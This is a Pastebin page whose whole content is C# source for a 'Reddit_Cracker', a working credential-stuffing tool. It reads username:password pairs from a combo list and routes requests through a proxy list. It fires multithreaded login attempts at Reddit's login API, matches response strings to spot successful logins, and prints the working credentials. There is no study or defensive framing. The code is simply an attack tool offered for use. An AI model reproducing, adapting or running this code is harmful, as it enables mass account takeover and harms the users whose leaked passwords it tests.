Guest User

Untitled

a guest
Jul 16th, 2017
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.17 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Net;
  5. using System.Text;
  6. using System.Threading;
  7. using System.Threading.Tasks;
  8. using crackingLib;
  9. using RestSharp;
  10.  
  11. namespace Reddit_Cracker
  12. {
  13. class Program
  14. {
  15. private static bool running = true;
  16. private static int tries;
  17. static void makeRequest()
  18. {
  19. string[] combo = comboSystem.getCombo().Split(':');
  20.  
  21. string user = combo[0];
  22. string pass = combo[1];
  23. if (user != "INVALID" && pass != "INVALID")
  24. {
  25.  
  26. tryagain:
  27. var cookieJar = new CookieContainer();
  28.  
  29. var client = new RestClient("http://www.reddit.com/");
  30. client.CookieContainer = cookieJar;
  31. client.Proxy = new WebProxy(proxySystem.getProxy());
  32. var request = new RestRequest(Method.GET);
  33. var execRequest = client.Execute(request);
  34.  
  35. client.BaseUrl = new Uri(string.Format("https://www.reddit.com/api/login/{0}", user));
  36. request.Method = Method.POST;
  37. request.AddParameter("application/x-www-form-urlencoded; charset=UTF-8",
  38. string.Format("op=login-main&user={0}&passwd={1}&api_type=json", user, pass),
  39. ParameterType.RequestBody);
  40.  
  41. execRequest = client.Execute(request);
  42. tries++;
  43.  
  44. var key = keysSystem.checkKey(execRequest.Content);
  45. Console.Title = tries.ToString();
  46. if (key == "SUCCESS")
  47. {
  48. Console.WriteLine(user + ":" + pass);
  49. }
  50. else
  51. {
  52. if (key == "FAILURE")
  53. {
  54.  
  55. }
  56. else
  57. {
  58. Console.WriteLine(execRequest.Content);
  59. goto tryagain;
  60. }
  61. }
  62. }
  63. else
  64. {
  65. running = false;
  66. }
  67.  
  68. }
  69. static void Main(string[] args)
  70. {
  71.  
  72. comboSystem.Load("./combos.txt");
  73. proxySystem.Load("./proxies.txt");
  74. keysSystem.addFailureKey("{\"json\": {\"errors\": [[\"WRONG_PASSWORD\", \"wrong password\", \"passwd\"]]}}");
  75. keysSystem.addFailureKey("{\"json\": {\"errors\": [[\"BAD_USERNAME\", \"invalid user name\", \"passwd\"]]}}");
  76. keysSystem.addSuccessKey("\"modhash\": ");
  77. keysSystem.addFailureKey("incorrect username or password\"");
  78.  
  79. Thread[] ts = new Thread[50];
  80.  
  81. for (int i = 0; i < ts.Length; i++)
  82. {
  83. ts[i] = new Thread(() =>
  84. {
  85.  
  86. while (running)
  87. {
  88. makeRequest();
  89. }
  90. });
  91. ts[i].Start();
  92. }
  93. for (int i = 0; i < ts.Length; i++)
  94. {
  95. ts[i].Join();
  96. }
  97. Console.Read();
  98. }
  99. }
  100. }
Add Comment
Please, Sign In to add comment